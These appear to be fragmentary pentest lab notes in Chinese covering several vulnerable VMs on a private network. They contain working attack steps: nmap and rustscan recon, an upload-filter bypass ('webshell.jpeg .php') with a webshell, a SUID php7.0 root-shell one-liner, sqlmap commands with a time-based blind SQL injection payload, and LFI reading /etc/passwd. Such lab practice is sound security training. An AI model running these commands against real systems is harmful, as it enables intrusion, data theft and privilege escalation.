得指定网络接口
sudo arp-scan -I eth5 -l
sudo rustscan -a 192.168.10.13 -r 1-65535 -t 8000 --ulimit 5000
sudo nmap 192.168.10.13 -sT -Pn -p22,80 -sV -sC -O -oN portscan/norm
sudo nmap 192.168.10.13 -sT -Pn -p22,80 --script=vuln -oN portscan/vuln
测试之后是检查文件名, 而不是文件头, 而且图片马不能正常解析
非 jpeg 格式的无法上传
jpeg 格式能够正常上传
后面尝试了图片马, 但是没有正常解析, 无法执行命令
使用空格绕过
"webshell.jpeg .php"
一句话木马, 获得 webshell
freddie
主机发现, 重置了 wsl 的环境之后, 发现能够使用 arp-scan 了
前后对比
192.168.10.12
只有一个 80 端口
服务版本, 默认脚本, 操作系统扫描
漏洞扫描
RFI
find / -type f -perm -u=s 2>/dev/null
发现一个suid的 php
./usr/bin/php7.0 -r "pcntl_exec('/bin/sh', ['-p']);"
使用 nmap 进行主机发现[[THM_Nmap Live Host Discovery(活动主机发现)]]
sudo nmap 192.168.10.1/24 -PA -sn -oN portscan/discovery.nmap
192.168.10.10
sqlmap
sudo sqlmap http://192.168.10.10/login.php --data "username=admin&password=admin&login="
---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND (SELECT 7762 FROM (SELECT(SLEEP(5)))rBJA) AND 'mJfQ'='mJfQ&password=admin&login=
---
查看所有数据库
sudo sqlmap http://192.168.10.10/login.php --data "username=admin&password=admin&login=" --dbs
查看数据库的表信息
sudo sqlmap http://192.168.10.10/login.php --data "username=admin&password=admin&login=" --tables -D vinyl_marketplace
查看某一个表的列信息
sudo sqlmap http://192.168.10.10/login.php --data "username=admin&password=admin&login=" --columns -D vinyl_marketplace -T users
查看对应列的信息
netdiscover
启动前
启动后, 以后就先导入 VirtualBox 然后导出, 再导入 VMware 算了
靶机 ip 192.168.10.4
~/workspace cat README.txt
Hi, Cosette, don't forget to disable the debug mode in the web application, we don't want security breaches.
提示有一个 debug 页面可以利用
进去之后是一个上传文件的页面, 先去搜了一下 cve, 因为不确定 cms 名称啥的,
后面搜到了 console 目录, 然后访问了 console 目录, 才确定这是 Werkzeug
这里的 cve 用不了
想着来目录扫描一下
启动靶机前
启动后
192.168.10.4
2024-02-14-20:18:39
后面都是直接用 arp-scan 来扫描某一个网卡的下的局域网ip 了
sudo nmap 192.168.10.4 -p22,80 -Pn -sT -sV -O -sC -oA portscan/nmap
sudo nmap 192.168.10.4 -sT -Pn -p20,80 --script=vuln -oA portscan/vuln
主页里面在端口扫描的时候发现有一个参数 page 尝试 local file include LFI 获取到了/etc/passwd 在 home 目录下有文件夹的有这两个用户
andrew:x:1000:1000: Andrew Speed:/home/andrew:/bin/bash
nick:x:1001:1001: Nick Greenhorn,,,:/home/nick:/bin/bash
获得了 user. txt
进行目录扫描 ferox 发现失效了, 以后还是先尝试 gobuster, 不行的话再 feroxbuster
进入 file. php 页面